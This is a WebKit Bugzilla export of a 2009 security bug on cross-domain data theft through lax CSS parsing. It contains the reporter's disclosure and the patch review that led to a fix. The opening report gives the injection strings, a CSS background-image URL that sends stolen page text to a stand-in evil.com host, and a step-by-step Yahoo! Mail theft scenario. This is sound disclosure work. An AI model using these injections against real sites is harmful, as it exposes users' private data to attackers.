<?xml version="1.0" encoding="UTF-8" standalone="yes" ?>
<!DOCTYPE bugzilla SYSTEM "https://bugs.webkit.org/page.cgi?id=bugzilla.dtd">

<bugzilla version="5.0.4.1"
          urlbase="https://bugs.webkit.org/"
          
          maintainer="admin@webkit.org"
>

    <bug>
          <bug_id>29820</bug_id>
          
          <creation_ts>2009-09-28 11:40:00 -0700</creation_ts>
          <short_desc>Lax CSS parsing leads to limited cross-domain theft for a subset of sites</short_desc>
          <delta_ts>2023-11-23 05:06:27 -0800</delta_ts>
          <reporter_accessible>1</reporter_accessible>
          <cclist_accessible>1</cclist_accessible>
          <classification_id>1</classification_id>
          <classification>Unclassified</classification>
          <product>Security</product>
          <component>Security</component>
          <version>Other</version>
          <rep_platform>PC</rep_platform>
          <op_sys>All</op_sys>
          <bug_status>RESOLVED</bug_status>
          <resolution>FIXED</resolution>
          
          
          <bug_file_loc></bug_file_loc>
          <status_whiteboard></status_whiteboard>
          <keywords>InRadar</keywords>
          <priority>P2</priority>
          <bug_severity>Normal</bug_severity>
          <target_milestone>---</target_milestone>
          
          <blocked>35032</blocked>
          <everconfirmed>1</everconfirmed>
          <reporter name="Chris Evans">scarybeasts</reporter>
          <assigned_to name="WebKit Security Group">webkit-security-unassigned</assigned_to>
          <cc>abarth</cc>
    
    <cc>ap</cc>
    
    <cc>cevans</cc>
    
    <cc>ddkilzer</cc>
    
    <cc>hyatt</cc>
    
    <cc>metadenz</cc>
    
    <cc>mihnea</cc>
    
    <cc>mitz</cc>
    
    <cc>mjs</cc>
    
    <cc>sam</cc>
    
    <cc>vdanen</cc>
    
    <cc>yong.li.webkit</cc>
          

      

      

      

          <comment_sort_order>oldest_to_newest</comment_sort_order>  
          <long_desc isprivate="0" >
    <commentid>150579</commentid>
    <comment_count>0</comment_count>
    <who name="Chris Evans">scarybeasts</who>
    <bug_when>2009-09-28 11:40:00 -0700</bug_when>
    <thetext>[Apologies for not filing this sooner. I thought I had filed it, but it seems not. I&apos;ve been sat on this for too long. Since this affects all browsers equally, I was going to just discuss it on my blog and let the web community figure out the best way to address this. However, I thought it would be polite to offer WebKit / Safari a chance to fix it first].

The attack involves cross-domain CSS stylesheet loading. Because the CSS
parser is very lax, it will skip over any amount of preceding and following
junk, in its quest to find a valid selector. Here is an example of a valid
selector:

body { background-image: url(&apos;http://www.evil.com/blah&apos;); }

If a construct like this can be forced to appear anywhere in a cross-domain document, then cross-domain theft may be possible. The attacker can introduce this construct into a page by injecting two strings:

1) {}body{background-image:url(&apos;http://google.com/
(Note that the seemingly redundant {} is to resync
the CSS parser to make sure the evil descriptor parses properly. Further note that having the url start like a valid url is required to steal the text in some browsers).

2) &apos;);}

Any anything between those two strings will then be cross-domain stealable! The data is stolen cross domain with e.g.
window.getComputedStyle(body_element, null).getPropertyValue(&apos;background-image&apos;);
(This works in most browsers; for IE, you use ele.currentStyle.backgroundImage)

There are a surprising number of places in internet sites where an attacker
can do this. It can apply to HTML, XML, JSON, XHTML, etc.

At this point, an example is probably useful. To set up for this example, you need:
a) Get a Yahoo! Mail account.
b) Make sure you are logged into it.
c) E-mail the target victim Yahoo! account with the subject
&apos;);}
d) Wait a bit, so that some sensitive e-mails fill the inbox. (Or just simulate one).
e) E-mail the target victim Yahoo! account with the subject
{}body{background-image:url(&apos;http://google.com/
f) Send victim to theft page https://cevans-app.appspot.com/static/yahoocss.html
g) The stolen text shown is achieved via cross-domain CSS theft.

Other good examples I&apos;ve had success with are social networking sites, where the attacker gets to leave arbitrary-text comments which are rendered on the victim&apos;s trusted page.

The main common construct that prevents exploitation is newlines.
Obviously, newlines cannot be considered a defense! Escaping or encoding of quote characters can also interfere with exploitation. One useful trick: if &apos; is escaped, use &quot; to enclose the CSS string.

Part 2 (on possible solutions) to follow.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>150583</commentid>
    <comment_count>1</comment_count>
    <who name="David Kilzer (:ddkilzer)">ddkilzer</who>
    <bug_when>2009-09-28 11:43:25 -0700</bug_when>
    <thetext>&lt;rdar://problem/7258451&gt;</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>150591</commentid>
    <comment_count>2</comment_count>
    <who name="Chris Evans">scarybeasts</who>
    <bug_when>2009-09-28 11:54:52 -0700</bug_when>
    <thetext>Possible solutions.

First, there are some solutions it is easy to reject:

1) Restrict read of CSS text if it came from a different domain.
This is a useful defense that I filed a while ago in a different bug. But it
will not help in this case. The attacker can simply use
http://www.attacker.com/ as a prefix for the background-image value, and wait
for the HTTP GET to arrive which includes the stolen text in the payload.

2) Do not send cookies for cross-domain CSS loads.
This probably breaks a load of sites? It is certainly a riskier approach. I
have not dared try it!


The solution that I&apos;m playing with is as follows:

- Activate &quot;strict MIME type required&quot; in the event that the CSS was loaded
(via link tag or @import) as a cross-domain resource.

- Also, crash hard if a CSS load fails due to strict MIME type test failure.

I&apos;ve been running my build locally with these changes for a few days and there
seems to be some merit in this approach, i.e. my browser hasn&apos;t crashed apart
from when I hit my attack URLs.

I see that WebKit has a history of defaulting to &quot;strict MIME type required&quot;
for _all_ CSS loads, and that historically broke some sites like dell.com and
was reverted.
Perhaps the web at large now has its MIME types in order well enough to at
least enforce strict for cross-domain CSS loads? If too much breaks, we have
the additional level we can introduce of trying to parse the cross-domain CSS
but bailing on first syntax error. I&apos;d like to avoid a test that is going that
deep into nuance, however.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>150597</commentid>
    <comment_count>3</comment_count>
    <who name="Chris Evans">scarybeasts</who>
    <bug_when>2009-09-28 12:06:09 -0700</bug_when>
    <thetext>Here&apos;s the patch I&apos;m running with. Including 3rd chunk which crashes on mismatched MIME type when strict mode is on... (note -- not adding as an attachment because it most certainly is not a proposed patch :P )

Index: html/HTMLLinkElement.cpp
===================================================================
--- html/HTMLLinkElement.cpp    (revision 48734)
+++ html/HTMLLinkElement.cpp    (working copy)
@@ -252,6 +252,12 @@
     if (enforceMIMEType &amp;&amp; document()-&gt;page() &amp;&amp; !document()-&gt;page()-&gt;settings()-&gt;enforceCSSMIMETypeInStrictMode())
         enforceMIMEType = false;
 
+    // If we&apos;re loading a stylesheet cross-domain, always enforce a stricter
+    // MIME type check. This prevents an attacker playing games by injecting
+    // CSS strings into HTML, XML, JSON, etc. etc.
+    if (!document()-&gt;securityOrigin()-&gt;canRequest(KURL(ParsedURLString, url)))
+        enforceMIMEType = true;
+
     m_sheet-&gt;parseString(sheet-&gt;sheetText(enforceMIMEType), strictParsing);
     m_sheet-&gt;setTitle(title());
 
Index: css/CSSImportRule.cpp
===================================================================
--- css/CSSImportRule.cpp       (revision 48734)
+++ css/CSSImportRule.cpp       (working copy)
@@ -26,6 +26,7 @@
 #include &quot;DocLoader.h&quot;
 #include &quot;Document.h&quot;
 #include &quot;MediaList.h&quot;
+#include &quot;SecurityOrigin.h&quot;
 #include &quot;Settings.h&quot;
 #include &lt;wtf/StdLibExtras.h&gt;
 
@@ -62,7 +63,10 @@
 
     CSSStyleSheet* parent = parentStyleSheet();
     bool strict = !parent || parent-&gt;useStrictParsing();
-    String sheetText = sheet-&gt;sheetText(strict);
+    bool enforceMIMEType = strict;
+    if (!parent || !parent-&gt;doc() || !parent-&gt;doc()-&gt;securityOrigin()-&gt;canRequest(KURL(ParsedURLString, url)))
+        enforceMIMEType = true;
+    String sheetText = sheet-&gt;sheetText(enforceMIMEType);
     m_styleSheet-&gt;parseString(sheetText, strict);
 
     if (strict &amp;&amp; parent &amp;&amp; parent-&gt;doc() &amp;&amp; parent-&gt;doc()-&gt;settings() &amp;&amp; parent-&gt;doc()-&gt;settings()-&gt;needsSiteSpecificQuirks()) {
Index: loader/CachedCSSStyleSheet.cpp
===================================================================
--- loader/CachedCSSStyleSheet.cpp      (revision 48734)
+++ loader/CachedCSSStyleSheet.cpp      (working copy)
@@ -138,7 +138,9 @@
     // This code defaults to allowing the stylesheet for non-HTTP protocols so
     // folks can use standards mode for local HTML documents.
     String mimeType = extractMIMETypeFromMediaType(response().httpHeaderField(&quot;Content-Type&quot;));
-    return mimeType.isEmpty() || equalIgnoringCase(mimeType, &quot;text/css&quot;) || equalIgnoringCase(mimeType, &quot;application/x-unknown-content-type&quot;);
+    if (!(mimeType.isEmpty() || equalIgnoringCase(mimeType, &quot;text/css&quot;) || equalIgnoringCase(mimeType, &quot;application/x-unknown-content-type&quot;)))
+        *((char*)NULL) = &apos;\0&apos;;
+    return true;
 }
  
 }</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>150801</commentid>
    <comment_count>4</comment_count>
    <who name="Maciej Stachowiak">mjs</who>
    <bug_when>2009-09-28 22:23:54 -0700</bug_when>
    <thetext>(In reply to comment #2)
&gt;
&gt; 
&gt; I see that WebKit has a history of defaulting to &quot;strict MIME type required&quot;
&gt; for _all_ CSS loads, and that historically broke some sites like dell.com and
&gt; was reverted.
&gt; Perhaps the web at large now has its MIME types in order well enough to at
&gt; least enforce strict for cross-domain CSS loads? If too much breaks, we have
&gt; the additional level we can introduce of trying to parse the cross-domain CSS
&gt; but bailing on first syntax error. I&apos;d like to avoid a test that is going that
&gt; deep into nuance, however.

We could experiment with doing that, but the risk may be somewhat high. The security benefit could be worth it however.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>150928</commentid>
    <comment_count>5</comment_count>
    <who name="Chris Evans">scarybeasts</who>
    <bug_when>2009-09-29 08:23:59 -0700</bug_when>
    <thetext>Note that any experimental WebKit change would get an automatic workout in the Chrome dev channel builds fairly quickly ;-)</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>151018</commentid>
    <comment_count>6</comment_count>
    <who name="Adam Barth">abarth</who>
    <bug_when>2009-09-29 13:19:11 -0700</bug_when>
    <thetext>(In reply to comment #5)
&gt; Note that any experimental WebKit change would get an automatic workout in the
&gt; Chrome dev channel builds fairly quickly ;-)

This is a good opportunity to use UMA to see which of these mitigations are feasible w.r.t. compatibility.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>151027</commentid>
    <comment_count>7</comment_count>
    <who name="Chris Evans">scarybeasts</who>
    <bug_when>2009-09-29 13:40:38 -0700</bug_when>
    <thetext>This is something I continue to fail to have time to look at -- hence the filing of the bug upstream :-/</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>160600</commentid>
    <comment_count>8</comment_count>
    <who name="Chris Evans">scarybeasts</who>
    <bug_when>2009-11-04 14:20:07 -0800</bug_when>
    <thetext>Yeah, I got a good patch which is both conservatively secure and conservatively compatible. Compatibility has been checked with a run across 500,000 URLs, and in fact the solution was derived from these URLs. I&apos;ll upload the patch once I have a good test too :)</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>160708</commentid>
    <comment_count>9</comment_count>
    <who name="Chris Evans">scarybeasts</who>
    <bug_when>2009-11-04 20:38:32 -0800</bug_when>
    <thetext>Patch to follow, I think it&apos;s good. I&apos;ve done a lot of testing including:
- Full LayoutTests (clean)
- Mining of 500,000 URLs for interesting cross-domain CSS usage. Best I know, the only site affected by this is http://practiceexam.keys2drive.ca/quiz.php which looks slightly different but is still acceptable and usable. Regrettably, this pages uses text/html for a cross-domain CSS load and prefixes valid CSS with &quot;&lt;style&gt;&quot;.
- Turns out that cross-domain text/html with a valid CSS payload, and text/plain with a valid CSS payload does occur (28 occurrences in 500,000 URLs including curiously configure.dell.com)! Therefore this case is accounted for.
- Other common MIME types mistakenly used for cross-domain CSS loads include application/octet-stream (53 / 500,000), application/css (1), application/x-pointplus (1)</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>160709</commentid>
    <comment_count>10</comment_count>
      <attachid>42540</attachid>
    <who name="Chris Evans">scarybeasts</who>
    <bug_when>2009-11-04 20:39:23 -0800</bug_when>
    <thetext>Created attachment 42540
Patch and test</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>160835</commentid>
    <comment_count>11</comment_count>
    <who name="Adam Barth">abarth</who>
    <bug_when>2009-11-05 08:22:51 -0800</bug_when>
    <thetext>Nice idea Chris.  I&apos;m going to let an expert in this area review the actual code, but I like the approach.

Have you shared the approach with the other browser vendors?  It would be best if we all did the same thing.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>161388</commentid>
    <comment_count>12</comment_count>
    <who name="Maciej Stachowiak">mjs</who>
    <bug_when>2009-11-07 19:24:44 -0800</bug_when>
    <thetext>This looks like a promising approach (have not reviewed the CSS parser details yet).

I&apos;m sorry to bring these to the table late, but here are some other ideas I thought of:

1) For cross-site stylesheet loads, disable Cookies, HTTP Auth, and sending of client-side certs (or perhaps any SSL). Then the only risk is to content that is only protected by a firewall. I&apos;m not sure if this would break anything, but it would depend less on the details of the CSS parser so it may be more robust.

2) For cross-site styleseet loads, if the stylesheet is returned with an incorrect MIME type, disable scripting access to the stylesheet (but still apply the styles). I&apos;m not sure if this would be sufficiently compatible or if it would fully close the hole.

Any thoughts on these?</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>161450</commentid>
    <comment_count>13</comment_count>
    <who name="Sam Weinig">sam</who>
    <bug_when>2009-11-08 14:48:09 -0800</bug_when>
    <thetext>&gt; 2) For cross-site styleseet loads, if the stylesheet is returned with an
&gt; incorrect MIME type, disable scripting access to the stylesheet (but still
&gt; apply the styles). I&apos;m not sure if this would be sufficiently compatible or if
&gt; it would fully close the hole.
&gt; 

If I am not mistaken, I believe we now always disallow scripting access to cross-site stylesheets. (see http://trac.webkit.org/changeset/50587).

I am cc&apos;ing hyatt, who would probably be the best person the review the change to the CSS parser.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>161451</commentid>
    <comment_count>14</comment_count>
      <attachid>42540</attachid>
    <who name="Sam Weinig">sam</who>
    <bug_when>2009-11-08 14:59:20 -0800</bug_when>
    <thetext>Comment on attachment 42540
Patch and test

Not a full review, just some passing comments

- I think we should be using the term crossOrigin instead of crossDomain since we are really talking about the origin tuple, not just the domain.
- I am not a fan of the term &quot;good&quot; in the context you are using it.  What is a &quot;good&quot; header?  What is a &quot;good&quot; CSS rule?  Please be more explicit with those names.
- Is this something we should add a Setting for while it is still experimental?

&gt; +void
&gt; +CSSParser::invalidBlockHit() {

Two nits.  The &quot;void&quot; should be on the same line as the rest of the function prototype.  The { should be on the next line.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>161488</commentid>
    <comment_count>15</comment_count>
    <who name="Chris Evans">scarybeasts</who>
    <bug_when>2009-11-08 21:18:29 -0800</bug_when>
    <thetext>@Sam, comment #13: unfortunately, the referenced change does not prevent script access. It simply stops raw CSS rule text access via the &quot;cssRules&quot; array (bringing WebKit in line with all other browsers). It leaves the getComputedStyle().getPropertyValue() avenue open. And even if we closed that, it&apos;s still not good enough, see next comment...

@Sam, comment #14: thanks. I&apos;ll use &quot;syntacticallyValid&quot; instead of &quot;good&quot;.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>161504</commentid>
    <comment_count>16</comment_count>
    <who name="Chris Evans">scarybeasts</who>
    <bug_when>2009-11-08 22:24:03 -0800</bug_when>
    <thetext>@Maciej, comment #12:

Idea #2 isn&apos;t secure. The Yahoo Mail example given does not need script to steal the data. The stolen data is effectively sent to evil.com for the fetch of the background-image URL. There are probably other ways that data can be stolen by monitoring the effects of CSS.

Idea #1 is more interesting. I thought I had a good reason to not go that route, but I seem to have forgotten it. There are certainly sites that rely on cross-origin authenticated &lt;script&gt; loads; I&apos;m not sure about CSS.
Mainly, it would be very challenging to semi-automatically test in the same way as I tested my change.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>161958</commentid>
    <comment_count>17</comment_count>
    <who name="Chris Evans">scarybeasts</who>
    <bug_when>2009-11-09 22:51:17 -0800</bug_when>
    <thetext>Hyatt, any thoughts?</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>162309</commentid>
    <comment_count>18</comment_count>
    <who name="Maciej Stachowiak">mjs</who>
    <bug_when>2009-11-10 18:36:42 -0800</bug_when>
    <thetext>(In reply to comment #16)
&gt; @Maciej, comment #12:
&gt; 
&gt; Idea #2 isn&apos;t secure. The Yahoo Mail example given does not need script to
&gt; steal the data. The stolen data is effectively sent to evil.com for the fetch
&gt; of the background-image URL. There are probably other ways that data can be
&gt; stolen by monitoring the effects of CSS.

Good point. I withdraw the idea.
 
&gt; Idea #1 is more interesting. I thought I had a good reason to not go that
&gt; route, but I seem to have forgotten it. There are certainly sites that rely on
&gt; cross-origin authenticated &lt;script&gt; loads; I&apos;m not sure about CSS.
&gt; Mainly, it would be very challenging to semi-automatically test in the same way
&gt; as I tested my change.

I heard recently that IE no longer sends Cookie headers for cross-site &lt;script&gt; loads, which is what made me think of the idea for styles. I think we should consider #1 if it turns out to be sufficiently compatible, perhaps in combination with your change.

I will try to get someone with CSS parser knowledge to look at your patch.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>162313</commentid>
    <comment_count>19</comment_count>
    <who name="Chris Evans">scarybeasts</who>
    <bug_when>2009-11-10 18:48:40 -0800</bug_when>
    <thetext>Where did you hear that IE doesn&apos;t sent cookies for cross-site &lt;script&gt; loads? Maybe you&apos;re thinking of Gazelle?

I spoke with Charlie Reis recently and we talked about just this. A lot of sites unfortunately depend on it. https://pip.verisignlabs.com/ was the example given. I&apos;ve not checked myself, but Charlie is pretty reliable.

The reason I prefer the &quot;stricter CSS&quot; approach is that sites are welcome to depend on cookies being sent for cross-origin CSS, and it&apos;s not an unreasonable thing to do. On the other hand, it&apos;s not reasonable for sites to load cross-origin CSS with bust-up MIME types with a CSS syntax error preceeding valid CSS.

However, I would of course be delighted if we could just not send cookies for cross-site script, CSS etc. I just think it&apos;ll break stuff. May be worth an experiment in the future...</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>162564</commentid>
    <comment_count>20</comment_count>
      <attachid>42540</attachid>
    <who name="Dave Hyatt">hyatt</who>
    <bug_when>2009-11-11 10:54:01 -0800</bug_when>
    <thetext>Comment on attachment 42540
Patch and test

You need to patch XML processing instructions also, and there needs to be a test for those.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>162586</commentid>
    <comment_count>21</comment_count>
    <who name="Chris Evans">scarybeasts</who>
    <bug_when>2009-11-11 11:24:20 -0800</bug_when>
    <thetext>I agree the need to test XML processing instructions. I&apos;ll get on that.
However, I don&apos;t think a code change is needed because &quot;strict&quot; mode is enforced, which requires a valid CSS MIME type. This is certainly subtle -- strict mode is used because of a defaulted C++ parameter, so I&apos;ll add a comment.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>162685</commentid>
    <comment_count>22</comment_count>
      <attachid>43007</attachid>
    <who name="Chris Evans">scarybeasts</who>
    <bug_when>2009-11-11 14:39:15 -0800</bug_when>
    <thetext>Created attachment 43007
Address all comments from review</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>162688</commentid>
    <comment_count>23</comment_count>
    <who name="Chris Evans">scarybeasts</who>
    <bug_when>2009-11-11 14:43:24 -0800</bug_when>
    <thetext>New patch updated, featuring:
- Fixes Sam&apos;s naming and style comments.
- Adds a test for the CSS in XML case noted by Dave.
- Adds a comment and makes the &quot;strict&quot; mode of CSS in XML more explicit.
- Tweaks one of the tests to check that a semantically invalid descriptor (i.e. contains unknown property) loads OK.
- Better ChangeLog entry.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>163562</commentid>
    <comment_count>24</comment_count>
    <who name="Chris Evans">scarybeasts</who>
    <bug_when>2009-11-13 15:46:16 -0800</bug_when>
    <thetext>Ping? I&apos;m now away until Tuesday, and then limited availability for Tues &amp; Weds prior to three weeks away. I&apos;d rather not lose this small window for landing this.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>164093</commentid>
    <comment_count>25</comment_count>
      <attachid>43007</attachid>
    <who name="Dave Hyatt">hyatt</who>
    <bug_when>2009-11-16 14:46:40 -0800</bug_when>
    <thetext>Comment on attachment 43007
Address all comments from review

The CSSParser changes seems iffy to me.  Why limit to just a &quot;header&quot; check?  What if you hit an invalid block first and then hit some valid rules following the invalid block?

What is the point of the extra enforceMIMEType argument to parseString?  It looks like it matches whether or not you&apos;re using strictParsing always, so I don&apos;t get the point of it.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>164099</commentid>
    <comment_count>26</comment_count>
    <who name="Dave Hyatt">hyatt</who>
    <bug_when>2009-11-16 14:57:58 -0800</bug_when>
    <thetext>That previous comment about enforceMIMEType may not have been totally clear.  I&apos;m specifically wondering about CSSImportRule.  It looks like enforceMIMEType is never being checked against the setting:

HTMLLinkElement has the following code:

if (enforceMIMEType &amp;&amp; document()-&gt;page() &amp;&amp; !document()-&gt;page()-&gt;settings()-&gt;enforceCSSMIMETypeInStrictMode())
    enforceMIMEType = false;

This check was really only necessary for iWeb, and we didn&apos;t bother pushing it into import rules.  You added the enforceMIMEType variable to the CSSImportRule check but then didn&apos;t bother doing anything with it, so it just matches strictParsing.

I don&apos;t see a need for that check in sub-stylesheets, so please just get rid of enforceMIMEType in CSSImportRule.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>164413</commentid>
    <comment_count>27</comment_count>
    <who name="Chris Evans">scarybeasts</who>
    <bug_when>2009-11-17 18:31:14 -0800</bug_when>
    <thetext>Thanks for taking a detailed look, Dave.

@25: &quot;The CSSParser changes seems iffy to me.  Why limit to just a &quot;header&quot; check? 
What if you hit an invalid block first and then hit some valid rules following
the invalid block?&quot;

The attacker, unfortunately, can easily inject some valid rules after some preceding junk. So in that case (invalid block then valid rules), we must reject. 


@26: I probably need to simply think about this some more, but I&apos;m not sure I understand the suggestion yet. &quot;enforceMIMEType&quot; is a renaming of &quot;strict&quot; to make the variable name clearer. I&apos;ve tried to minimally disturb the logic from the existing state. All I&apos;ve done, really, is engage &quot;strict&quot; mode if there is cross-origin CSS loading that does not start with what looks like CSS.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>167192</commentid>
    <comment_count>28</comment_count>
    <who name="Chris Evans">scarybeasts</who>
    <bug_when>2009-11-29 21:35:08 -0800</bug_when>
    <thetext>Any thoughts re: my comment #27?

If there are still concerns, perhaps we should schedule lunch @ Apple to finally land this thing? I&apos;m currently on vacation but Weds 9th Dec would work. I don&apos;t want to delay some form of landed solution too close to the Dec 28th deadline.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>169795</commentid>
    <comment_count>29</comment_count>
    <who name="Chris Evans">scarybeasts</who>
    <bug_when>2009-12-08 14:29:41 -0800</bug_when>
    <thetext>@26: I&apos;ve now had the time to have a more thorough look. I believe the only logic change I made is to add the cross-domain check.
Perhaps the confusion is the rename of &quot;strict&quot; to the more descriptive &quot;enforceMIMEType&quot;. So, &quot;enforceMIMEType&quot; is definitely used -- and used with the exact same logic as before the patch.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>171455</commentid>
    <comment_count>30</comment_count>
    <who name="Dave Hyatt">hyatt</who>
    <bug_when>2009-12-14 10:00:00 -0800</bug_when>
    <thetext>&quot;(In reply to comment #27)
&gt;
&gt; @26: I probably need to simply think about this some more, but I&apos;m not sure I
&gt; understand the suggestion yet. &quot;enforceMIMEType&quot; is a renaming of &quot;strict&quot; to
&gt; make the variable name clearer. I&apos;ve tried to minimally disturb the logic from
&gt; the existing state. All I&apos;ve done, really, is engage &quot;strict&quot; mode if there is
&gt; cross-origin CSS loading that does not start with what looks like CSS.

Except you haven&apos;t made it clearer.  That variable name is wrong in that context, and the change is unnecessary.   Look at HTMLLinkElement:

m_sheet-&gt;parseString(sheetText, strictParsing);

Now look at what you did in CSSImportRule:

m_styleSheet-&gt;parseString(sheetText, enforceMIMEType);

The argument to parseString is whether or not CSS Is using strict parsing.  It&apos;s not just about MIME type enforcement.  You just didn&apos;t need to introduce that variable name here, since that variable was only introduced as a local in the other spot so that it could be set to false if the setting was present.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>171616</commentid>
    <comment_count>31</comment_count>
    <who name="Chris Evans">scarybeasts</who>
    <bug_when>2009-12-14 16:07:39 -0800</bug_when>
    <thetext>Thanks, Dave. I see and agree with the concern now.

I fixed it, but ironically, I discovered upon &quot;svn update&quot; that r52032 actually introduces a split of &quot;strict&quot; vs. &quot;enforeMIMEType&quot; to the CSS import code. I&apos;m doing a manual merge now and will post an updated patch shortly.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>171647</commentid>
    <comment_count>32</comment_count>
      <attachid>44830</attachid>
    <who name="Chris Evans">scarybeasts</who>
    <bug_when>2009-12-14 18:02:27 -0800</bug_when>
    <thetext>Created attachment 44830
Latest patch -- merge with WebKit head</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>171651</commentid>
    <comment_count>33</comment_count>
    <who name="Chris Evans">scarybeasts</who>
    <bug_when>2009-12-14 18:06:14 -0800</bug_when>
    <thetext>Ok, updated patch attached.
Note that &quot;enforceMIMEType&quot; was introduced by (completely unrelated) r52032. This makes the latest patch smaller, and sort of cancels the clarified complaint in comment #30 :)

Any further changes you would like?</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>173031</commentid>
    <comment_count>34</comment_count>
    <who name="Chris Evans">scarybeasts</who>
    <bug_when>2009-12-17 21:09:13 -0800</bug_when>
    <thetext>Friendly ping? :)</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>176157</commentid>
    <comment_count>35</comment_count>
    <who name="Chris Evans">scarybeasts</who>
    <bug_when>2009-12-31 01:12:53 -0800</bug_when>
    <thetext>Now public, via Mozilla checkin and my blog.
Unless there are further comments on the patch, can we get this landed?</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>176901</commentid>
    <comment_count>36</comment_count>
      <attachid>44830</attachid>
    <who name="Adam Barth">abarth</who>
    <bug_when>2010-01-04 15:10:37 -0800</bug_when>
    <thetext>Comment on attachment 44830
Latest patch -- merge with WebKit head

Chris appears to have addressed hyatt&apos;s concerns.  This security issue is public now and needs to get fixed as soon as possible.  The discussion on this bug seems to have stalled.

As far as I can tell, the patch seems fine.  Marking as review+.  If you have concerns, let me know.  If we need to iterate on this after landing, we can do that too.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>177015</commentid>
    <comment_count>37</comment_count>
    <who name="Adam Barth">abarth</who>
    <bug_when>2010-01-04 21:20:06 -0800</bug_when>
    <thetext>Committed r52784: &lt;http://trac.webkit.org/changeset/52784&gt;</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>262377</commentid>
    <comment_count>38</comment_count>
    <who name="Chris Evans">cevans</who>
    <bug_when>2010-08-09 16:01:14 -0700</bug_when>
    <thetext>Un-hiding; all very public by now and I want to fix the link from http://www.owlfolio.org/htmletc/css-data-theft/</thetext>
  </long_desc>
      
          <attachment
              isobsolete="1"
              ispatch="1"
              isprivate="0"
          >
            <attachid>42540</attachid>
            <date>2009-11-04 20:39:23 -0800</date>
            <delta_ts>2009-11-11 14:39:15 -0800</delta_ts>
            <desc>Patch and test</desc>
            <filename>c.diff</filename>
            <type>text/plain</type>
            <size>18444</size>
            <attacher name="Chris Evans">scarybeasts</attacher>
            
              <data encoding="base64">SW5kZXg6IFdlYkNvcmUvQ2hhbmdlTG9nCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KLS0tIFdlYkNvcmUvQ2hhbmdlTG9n
CShyZXZpc2lvbiA1MDEwMSkKKysrIFdlYkNvcmUvQ2hhbmdlTG9nCSh3b3JraW5nIGNvcHkpCkBA
IC0xLDMgKzEsMzAgQEAKKzIwMDktMTEtMDQgIENocmlzIEV2YW5zICA8Y2V2YW5zQGNocm9taXVt
Lm9yZz4KKworICAgICAgICBSZXZpZXdlZCBieSBOT0JPRFkgKE9PUFMhKS4KKworICAgICAgICBB
ZG9wdCBhIG1vcmUgY29uc2VydmF0aXZlIGFwcHJvYWNoIGZvciBsb2FkaW5nIENTUyBjcm9zcy1k
b21haW4uIFdoZW4KKyAgICAgICAgbG9hZGluZyBDU1MgY3Jvc3MtZG9tYWluLCBpdCBtdXN0IGJl
IHN0YXJ0IHdpdGggdmFsaWQgQ1NTIGlmIHRoZSBNSU1FCisgICAgICAgIHR5cGUgaXMgYnJva2Vu
LgorCisgICAgICAgIGh0dHBzOi8vYnVncy53ZWJraXQub3JnL3Nob3dfYnVnLmNnaT9pZD0yOTgy
MAorCisgICAgICAgIFRlc3Q6IGh0dHAvdGVzdHMvc2VjdXJpdHkvY3Jvc3MtZG9tYWluLWNzcy5o
dG1sCisKKyAgICAgICAgKiBodG1sL0hUTUxMaW5rRWxlbWVudC5jcHA6CisgICAgICAgICogY3Nz
L0NTU0ltcG9ydFJ1bGUuY3BwOgorICAgICAgICBVc2Ugc3RyaWN0ZXIgc3R5bGVzaGVldCB2YWxp
ZGl0eSBjaGVjayBmb3IgY3Jvc3MtZG9tYWluIENTUyB3aXRoCisgICAgICAgIGJyb2tlbiBNSU1F
IHR5cGVzLgorICAgICAgICAqIGNzcy9DU1NTdHlsZVNoZWV0LmNwcDoKKyAgICAgICAgKiBjc3Mv
Q1NTU3R5bGVTaGVldC5oOgorICAgICAgICAqIGNzcy9DU1NQYXJzZXIuY3BwOgorICAgICAgICAq
IGNzcy9DU1NHcmFtbWFyLnk6CisgICAgICAgICogY3NzL0NTU1BhcnNlci5oOgorICAgICAgICBB
ZGQgYWJpbGl0eSB0byB0ZWxsIHdoZXRoZXIgdGhlIENTUyBwYXJzZSBzdGFydGVkIHdpdGggYSBz
eW50YWN0aWNhbGx5CisgICAgICAgIHZhbGlkIENTUyBydWxlLgorICAgICAgICAqIGxvYWRlci9D
YWNoZWRDU1NTdHlsZVNoZWV0Lmg6CisgICAgICAgICogbG9hZGVyL0NhY2hlZENTU1N0eWxlU2hl
